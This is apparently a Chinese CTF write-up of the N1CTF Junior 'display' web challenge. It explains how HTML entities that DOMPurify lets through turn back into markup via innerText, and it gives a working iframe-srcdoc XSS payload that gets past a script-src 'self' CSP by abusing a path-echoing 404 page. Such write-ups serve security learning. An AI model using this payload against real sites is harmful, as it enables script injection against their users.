CTF-WEB: 利用iframe标签利用xss,waf过滤后再转换漏洞-- N1ctf Junior display

核心逻辑

js 复制代码
// 获取 URL 查询参数的值  
function getQueryParam(param) {  
    // 使用 URLSearchParams 从 URL 查询字符串中提取参数  
    const urlParams = new URLSearchParams(window.location.search);  
    // 返回查询参数的值  
    return urlParams.get(param);  
}  
  
// 使用 DOMPurify 对内容进行清理(sanitize),防止 XSS 攻击  
function sanitizeContent(text) {  
    // 只允许 <h1>, <h2> 标签和纯文本  
    const config = {  
        ALLOWED_TAGS: ['h1', 'h2']  // 配置允许的标签  
    };  
    // 返回清理后的内容,DOMPurify 会移除不允许的标签和潜在的危险内容  
    return DOMPurify.sanitize(text, config);  
}  
  
// 当 DOM 完全加载后执行的代码  
document.addEventListener("DOMContentLoaded", function() {  
    // 获取页面中输入框、按钮和内容显示区域的 DOM 元素  
    const textInput = document.getElementById('text-input');  
    const insertButton = document.getElementById('insert-btn');  
    const contentDisplay = document.getElementById('content-display');  
  
    // 获取 URL 查询参数中的 'text' 参数  
    const queryText = getQueryParam('text');  
  
    // 如果查询参数 'text' 存在  
    if (queryText) {  
        // 解码并清理传入的文本,atob 用于解码 base64,decodeURI 处理 URL 编码  
        const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));  
  
        // 如果清理后的文本不为空  
        if (sanitizedText.length > 0) {  
            // 将清理后的文本设置为输入框的内容(innerHTML 用于处理 HTML 标签)  
            textInput.innerHTML = sanitizedText;  
  
            // 将清理后的文本设置为预览区的显示内容  
            contentDisplay.innerHTML = textInput.innerText;  
  
            // 启用插入按钮  
            insertButton.disabled = false;  
        } else {  
            // 如果清理后的文本为空,显示警告信息  
            textInput.innerText = "Only allow h1, h2 tags and plain text";  
        }  
    }  
});

过滤后再转换,sanitizedText在经过.innerText时其中的HTML实体会被转换为字符串。

当访问不存在页面时会返回路径名,可以利用这一点来构造脚本执行

复制代码
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
Content-Type: text/plain; charset=utf-8
Content-Length: 17
ETag: W/"11-GF1FwKuoyTpdz1qrL+FpsG3KmnU"
Date: Fri, 14 Feb 2025 07:59:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5

/1 : invalid path

使用<iframe srcdoc=url>来在属性值中嵌入 HTML 内容,并在其中嵌套<script src=url>来绕过安全策略,使用**/// 闭合

html 复制代码
<iframe srcdoc="<script src='**/alert(`xss`)//'></script>"></iframe>
  • 注意字符串包裹方式依次为 " ' `
  • 因为js支持使用反引号包裹字符串

参考

2025 N1CTF Junior Web 方向全解 | J1rrY's Blog

相关推荐
大方子15 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha17 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络17 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd20 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云